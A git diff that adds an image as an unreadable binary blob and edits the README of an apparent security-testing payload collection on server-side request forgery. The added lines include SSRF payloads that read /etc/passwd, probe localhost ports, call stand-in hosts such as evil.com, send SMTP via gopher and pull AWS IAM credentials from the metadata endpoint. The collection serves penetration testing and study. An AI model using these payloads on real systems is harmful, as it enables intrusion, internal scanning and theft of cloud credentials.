z>;*>_->7&YOUB#Y^$Eps8`HMF0#!BOJh&AqV>mA>R}BJn+Nvb626pZ*Nj$%VNwAsF zXOP>)y~R&;c(Q3caP>~)Hc#ALA3+0`uym*J0N-2DzuN}TDSOa92;EY#o^nyqax?$MYq48* zS>knK`TG8t&&4>r|~w z6+sk!c4@u|1MBI^`Q&K&rZ$5sc6vOr3b;L`GKm(J4pMY@(1uBoq6o>n?ej)QXAYho zqxSdDW9HAjx9jji&%j2d>FU^GxA7!RIrqGdGW|m5`d|sn&{~&SQKlRG1Yr$);!XNB zCe$ohbRdK)l)9a0n166?f^RzoGf4^zh3%y8NxKi2im7-zH(9uhMXfv_3$H$%ab)8dw8~B!cy~c}=RUvpMs{XqW_Zf;uAXw@Be!Vr zFHy80U{YtgzX;gkv9SbM86~QCbPGX!1-lsSVilTrHfcQq8Tkrk3S$Qc2SbOEoqb(a zeqm7>Qnqgop@qc3p}Doa86!@9GVQKY&~CS*ewgu?uioYl-2m%j{-Z&_tA>Pxkeb0Z z6iPhy;@JF--^yw%UeNofwgN zcYbg-Pf5r_{)X;f29Ix&ISxTGW)UC#*MuwK6JEOMkn>6S5vGiyW^Il_m!<8i1{ou1 zCUYfp#ppv063Ydqt+eHU4iB8zFZAs0X4-nj#yRTQzLY=LD$h)PY^eS_ST_EG(P^XL z7mIly#FF&ciPZ)v!}9f>>~h&aQ2L-_5j`8c(4$A9qYwPFLW|n40r~7)1H}&Fj2oV>@l9O__@3_TE?(U0$5oyZ^2C1|y+wJ&C(I z&eshV;|!`LfK*uIDpJS;nP>o%fmqAnpd8S2j8@EIG64X(s84Sk3f+Z#MUdMI*CwK% zqy%^#u!HKgb!7gu03B{4Zv%%?W_zZtxVm`UxSa3u=v{k$DA0btbKaUyK^4HFrlyw6 zhJ;Fnqly!$mb19ji|c0FX`8K(Q1>H2KlGE0>v>?uYj-h=qGN)JZ{%ki`=tRvAHvtH zhD0KlT&o$`nDGAIZNK;KUxH)LyI%_I=Imuk{|)4OuzZxtR*-V}~W?KESx^b*H&VbVq# z>8_XX7-LEf1%t8oqEsr%gfQaaKJK%Jmcd9Nk0(K<(S63D;h|a$ZpX6??qH;L(LvnA z>#z4L3rwX%6IX8#YW2W` zH`OY6n_Wv1M@xb`6X^)E~0}{_8ADLWY1W~Qa0ycf-xV36xk|~rHfblfpeZBuI^$Vx< z?9nH&rt+^PSY<~j^Td&&S(6oK&8L2CvFWM*PAx6m6f7k(m64e*uEf)_#C|@K< z-#z|hEH`R~2t^*+M!!fW=q$ZLS#n_Q^L$5CIICSz;c`sF+Z*G-XN5f#EEx+mb@nkW zBf^d-^W1jq=dG?3Qg>(kTHeU%nkUAE* z&8}wnSHy@BdyR0_g#oeHA|ROaaN)?Z8Gqq=;dAb8d7IPhrX7~wkSP@nO?NrIYGJT; zaWzQWeA|?C7Ym$P$}xMwen%n(^_63(Dj4pl_^>TcfpQH`p2&Phubjga-DCe#J>*XGfbA4_531#`xO0a$HB^kM@~{wJgo}o zU~|KP|{0XMx2pq4ln9<^#kUci79p?dPmngo2^>A7wN2nvzj3GyB;#Z{z&C z6YHCkDfA%Lbv!gS3(?4322m$W?PtlfA?P0P^c*03{O`Wo#o#>U^Ze&0MWLanTEgVs z{JZi*v(e+M_oF>NgI3-;#*^F5n2GRe`rUM`G zj9n>CGvJkZ=)wG11ke4w^=UffLIafrFA#C75 zkhls!av2K?w26#LN;>Z?-d~PpztzuUW8~y?7g!yMYbtCgY|Oa2IKwcH*B{-CxzB0c zJur|yeujtgpEV^{ME>YzeSQ5%MMY-jO5yuL>4)rv4F-k-T%GsWXg(@iOO+F~WXvbo z*X9_-kv+6UBYc}sSfO4BI?sZfyHN*Zp(ZQc@%%LBLrvG-*IpaHj801KwAzMb;t3qWKs)b6CVs(Y41>jU2)|n(?GUVj46`}pB-%}MhhFd&F zeAJcuxQPh`B~upLU$ZExrw{M&SN7Z2uU}97R(E%I1GI6*pS+w^D_`?v3IFErHtiwt zHLgz4s>0ZxU7eNBm@waUt(+8Vm@pAUcsLwQPY!<&YK1C#+U%-;n3$k4U*Hq*3#!{< zk8e#JYPE2EH?99`M-ikF1;?* z$Zcc&GG@szJ=GuFTrS5;Mdjz@Z2KQ_ul|sDAIU=1(h3RJxMxJIgBzeHDkeruw8{5x z{X;8B8Uf*RLjqCc_)iDC;BKrGr7vN!?+EGGL~xM7ILL@4++YmpAU;R&xL;V|f0s>+ zBGs(aZ?5lkhKKwm zF){JZ`Z_S#CMVfB_*M_4u~8*x3@S>0N*WX>k`yzwb>o`H;6+y?MN!#=MEw5X@x|^| z$AjBls5!0)X!j{T{2AJ4bR%3c@_fmXEsCE)laQaI)q1(}@Oh-gjY86SLlc0k{`;m2 zm-yqE5+7<$8Q73)q^|Gm zi~0h8;oJTz7Cn10Mm)fZiL-akt1W9St7HGxUd&`|aDH%bZ*WiUdLqf*qeVjDMOdx2 z!_!XNXjReRY@`HH#kWk6yJvsvm3l%UQ$gzQ(?7!9c>p&I8WbN7`jjXVjKFaWaQoHze~;RrR~sA%(kknsUDXBd42Npq1mn ziB9$ky{9ZTHulQQn+mbWW#wj${`A4dq|eqPt!{%~ho5BfPeUEHX?3#8|hTUH<`21<#qJ!U8=DEI(_5FH)O&-uBgrlz|3 zWbC!;=BOWib zeZdASoox`g%K5o>GJK+k5_0ZEc0vQRP&q#(IazKh3)Y7iIdV+@6age)xb z!6#PjFF)~-RGNP!V0nWEzQ3jsg zuRaxJWo1E+XK9}*UNSiclnn0pya9F3h$Zm8f@>nc+&umVx2&|GK$5THQ+BZV$Loi4`w9?D?LCjfJ!5q zG^Fz4`J=!ca%q@_X}`a38!jp|?BH+>-Z-GY0#F_G!UW{cqM{-Io~5mgnmaNP6y)W7 z1bHcN{5HMWrd(cLg6R?xyP1R%rX%Bu0l_LH7N`P%6wJ=aN$y*{fnU6c?lP~ef>CyI zqH*IoJUuzd&BCIfrNzt69uKnif2M0L&rfJ^L!k9eOnm<9E#nSgmanfa;VcOPF8@|H zDbd6OJ?q1V4@BXs{MU#4LK#uu4Xa+b{+Y4yR39F&LY|@8-<|5Y1aTxdz4!F?B5k(E zi?2eEKOgg*eg=)%$ucAU^T`2-Aei@BfyV~M?#s)|j9&W~mFk{n2S$iaz#;)@FjtW# zdLE`!n(Vd%9BAzgTBW;9H+33-bc5%3LIULae27lig@cBXy87?4 z!!=-O!z-v%!MX^Ij&vxHLC*)cUGO;ed9Ht36wkQtHh?Ipb<<^)6a^^R06mE!7T{gf zfY;a@&4+3asl-9=M^?$~U+}H5mmm`NMji}Ne@{#hyqW}EV2A}EfWr1!a{lTZ$T*i^ z$@%Es2Yg0thZ;>>5omOLQ~U-|Xs()lP0e7cOlwR9u z@9Pt9P(%SS!Rvp;*R=rn0vhLyol~fA=DS>(k5Uw1W-5DqBn$NtI5P;4wzjs6^?SbJ zNN6HL(LoM+VqgdlMg;Bpt}F2>V3+{a7|3`)PE|anjj4CR=Hlw4DLpw^pCEuV2*L!2 zwdfN3&E>!RX;ppywoh3ZOSXb5fDoa2TSBJ+HQ4cSV0bM=;=po|SdG&#gO88Ts9JI} zM-ZLRz*$*aV+2on>3N^~&zS&Lk?#n#A5dloJszHc#Kc4(X}ZBO2N;Z}q3v`%S5r-w z#H~!wlDH{ls24(mj^!h$|G5FOENA2VPo4GtV*Ahs;7?l4H8ueEdHH87n>5V9MXpBY z-C2-MOwOscnn{k0Wo2h?x7C!Dl_kac!DQ*-!GrbSVn5PbI1}oJkhQ{HfT#v0A27QB z$Q35K1TuDs3|hZI)D)0v)l-S|8UZ7>TT6f=4@XVugAM|q1}}tjhmA~3n*MF(!`KFo z9fAPxR}W}ifDP4fE_|Ep$@Em{`#;4SFEYiBELoSYANL9H1gGBn+RxpcBK6F#>2tksB&CeqeNH0%j*gXX|8EN)s+$#kLp<&GWi3g zhp|Ephy-BKHnk%f*;7zZ@P<^EjfkD-VcFZ83L;Ddg}e$d5ABP}8{LF;7h)s?e6X)B zRlRrbp4CMa%y$@Spw-Y?a&d71*=lI}BEF7Cw9(}CY2-DjgaQo+k(@+^h4Fy=1`L0X zKQ(Ir%nQ(iX$GMV9!o3JHp$fjiFge3CXJ3BUJ6!U3$xAP94GrR2IcRKWQAvW^m?29@CM*jetTE_<=yZJbsabcP zD}pr0v;t$`5Y~{c5@jk}f&jQu-oFzDU_!#oJhXe_?Cea5M1EDI`OwV7&Fu=3rm$SZ zOM<=A(COE=<!HbS^)vqePQ0BB(@LPkds3l2faIo@YII#-)2O)X4x@ViU4jQ7)7n+WD0W(Td}HvyzLgIytS#E^w-_#^3q zO7&;YETNz)vj!=Xvhvu*aIWJkt#|K+r%(Q)f(I*p*rs2q$pAS9JSYfFb~P72Dbsme z_CC*8CHAZ!I{PjaEAaURuq?(3xNR3vrH5h7=ZaWcUap6^fA2#EL@CftfB?~S+Rj)D zf~m>LY(#yvj$3K2s~?Ms7y?^|Am0H+w2E{X-!KE3&QhA9e;Q&33nQ_$>Rp&QI6$PX z0X7scd)FIt0e?O|o|~P`&cOk!KJ@3zD0}RN1g-i_LzJh4YvAn6dk(<~h^QUy?XdC$ zww6NGrn_4*!3b_B7&t)^Q$~|wSB8Ruz9S(lplGwuB1Z)R_uN2`E>#^XPy-urH@IV< z#tqgSz}Xub+CLhW1*{mzd4ou_W}VXxtg0%-+C~IGFd@f9C#R$wz=%`*ZbPOJ3U(F% z2hgsuyQ`)Gj47}|1Ee{2@N$~_pWw*IYpAYITUBcpGt$v%mg={|3J-$%_AA{_qs7@E zjGpc-1O(j68d6nIh>41_*&NA(CjfkRP%C?dhyZ}x%F0TH5I8;N4nxRNQ&9o*GBF9s z+|<X2FPfEN95$>l*aF!rk8YdbOhB^@T-3M^l64{dq)T4m~ceMS72R$2b0({ zIx=!JaD6er@)1+ZkNj-{0*bP*2iV!!v8zG+BnZ%RYiNYUl>oCyt$g)HIlEYUXLr{d zp@$PEKH6fUk~|v$IaUOKDC{$L`76$_h+nt?xF_KbUr&gR=P_=rYiB+8UQn z?w&AeRE6mg6purg_M;O=bUwV-3e$s&g#|=)tKm_>f3WJpc_sC&-Yl%mzIS0a1_2l( zNVS{1Je8G|!8GpmZv8N9QI<~OWF=ytOvaHCZgi8>aB^^fxjpo6;NP_I-7x>s($ehL z`XQYOXA*6C{7gKL7DCmv-BMnEQr$oJou7x%FD}J7fOaV;K|(O@kE)=7i2Sd z>KXfTOhkX=67EHW z8^k9|`!1_Q9-Iv zu9R^HSO5z}N*yEFu8#<;y9Yn_mNup5NiwKmdpK-}eJ& z%pe;$%qcERDiGy^CcRVL%!1AItrbY7{d&A8Gv=}3SiSG~D(10DCM`LiInDp@fe2P# z&r?06rJ$e>8xX4#VCVs)7pOXr4F~9fWVUnD`KPHJ2KYlw{js`Z!Df4+bg9D=Hn1SH z)&E-a{reqokz~dcstfr;$;fEEHCDK8F=bf=F)Cd2ow|Am-T1n#^|b8KhoKLU-NEmH zQ8t@Y))3eXfH);->&XwFJ8-JTgA4G%4ut%p`kt9-BCQfS~&5lZID1cLU74x zYW5yp@Q4%u(5}|e0#ZL)+tR6>v^tU_>MtI^pMXmP+U{i4`;^v&uAZJ7WqTqLBajGa zzb*ffk&#jCzKEczygW>WM=5;)QrZ>vM*?3$O&>#ED*o=-qfQ)I9-oSfqMBwNIM+Qh zIBkEpHF)^=b(%#fkErPBXPUhE)%$yTUXzy?_25;kt|aPsE%@U@iVkGo!DQIuWfcyw z=gNE%bUTEd(B)As|B9=2p|VOZ%kDxw%yv*|q5UTdI{Qmr@aSbfy<&Inn~s++P~P&n zb3bz}J~7dG{>Lo`xs*OUUgwHRaDdn`hixKk4A$EqUk~p{jEnn>6Z!m))vfwZaFU0U zpm`Rc2X_!IU$p1Yh6^z?pSUhK!f0MT3HKVt!8Eg#kA`2b3r`wsc`{a9t%L$weK5<2 zBd-X1Cn34mg`Fs5M2t-rWvvTe^YR2zB;US`&Lf(s0Y&w?nXUsN9h8SQHJV+!aL7MD z6xZ<|9iMsLhJES)H|pvvW%bl0e&D4@l#pxM&1{_S`LW~ll6h-=9V@gQ4GnEb8cY{N zL?fqmit_V?%xz()!k3EWwrxAPLj^jDhcVvjl2eV$ai0A$5J_ z8s)~)a2wDwCmY;PASajCjp$hcBx!^ES%vz0w#A%+0!z3&NMeRe*`Qv*8PP<0T7TwY zntU?Wy=KEDDJcnuH?N*@-oBBCfi&TRU9Cbb;6@s0%j1b`(SM0rZ#BG2AMJ=HxeeW*VID!sa+( zY6xskBBY93aeS(;wt>zkFZm2^od=|9`KL m|IcgZ|Me$_XZ*0tU0(-1BGh4+DVV!CT?r8x;UYm@-~R(@X~8o9 literal 0 HcmV?d00001 diff --git a/SSRF injection/README.md b/SSRF injection/README.md index 202749a..3cb9211 100644 --- a/SSRF injection/README.md +++ b/SSRF injection/README.md @@ -1,17 +1,14 @@ # Server-Side Request Forgery Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf. - -Tools: - -- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) -- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) +![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/Images/SSRF_stream.png.jpg) ## Summary -* [Exploit with localhost](#exploit-with-localhost) +* [Tools](#tools) +* [Payloads with localhost](#exploit-with-localhost) * [Bypassing filters](#bypassing-filters) -* [SSRF via URL Scheme](#ssrf-via-url-scheme) +* [SSRF exploitation via URL Scheme](#ssrf-via-url-scheme) * [SSRF to XSS](#ssrf-to-xss-by-d0rkerdevil--alyssaoherrera) * [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances) * [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket) @@ -27,7 +24,12 @@ Tools: * [SSRF URL for Docker](#ssrf-url-for-docker) * [SSRF URL for Rancher](#ssrf-url-for-rancher) -## Exploit with localhost +## Tools + +- [SSRFmap - https://github.com/swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) +- [Gopherus - https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) + +## Payloads with localhost Basic SSRF v1 @@ -177,42 +179,53 @@ http://127.1.1.1:80#\@127.2.2.2:80/ ![https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/Images/SSRF_Parser.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/Images/WeakParser.jpg) -## SSRF via URL Scheme +## SSRF exploitation via URL Scheme -File Wrapper +File : allows an attacker to fetch the content of a file on the server ```powershell +file://path/to/file file:///etc/passwd file://\/\/etc/passwd +ssrf.php?url=file:///etc/passwd ``` -Dict Wrapper -The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: +Http: allows an attacker to fetch any content from the web, it can also be used to scan ports. + +```powershell +ssrf.php?url=http://127.0.0.1:22 +ssrf.php?url=http://127.0.0.1:80 +ssrf.php?url=http://127.0.0.1:443 +``` + +The following URL scheme can be used to probe the network + +Dict : the DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: ```powershell dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ ``` -Sftp Wrapper +Sftp : a network protocol used for secure file transfer over secure shell ```powershell ssrf.php?url=sftp://evil.com:11111/ ``` -Tftp Wrapper +Tftp : Trivial File Transfer Protocol, works over UDP ```powershell ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` -Ldap Wrapper +Ldap : Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service. ```powershell ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` -Gopher Wrapper +Gopher ```powershell ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a @@ -338,6 +351,8 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` +E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/` + ### SSRF URL for Google Cloud Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" @@ -491,4 +506,5 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se - [How I convert SSRF to xss in a ssrf vulnerable Jira](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) - [Piercing the Veil: Server Side Request Forgery to NIPRNet access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a) - [Hacker101 SSRF](https://www.youtube.com/watch?v=66ni2BTIjS8) -- [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/) \ No newline at end of file +- [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/) +- [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978) \ No newline at end of file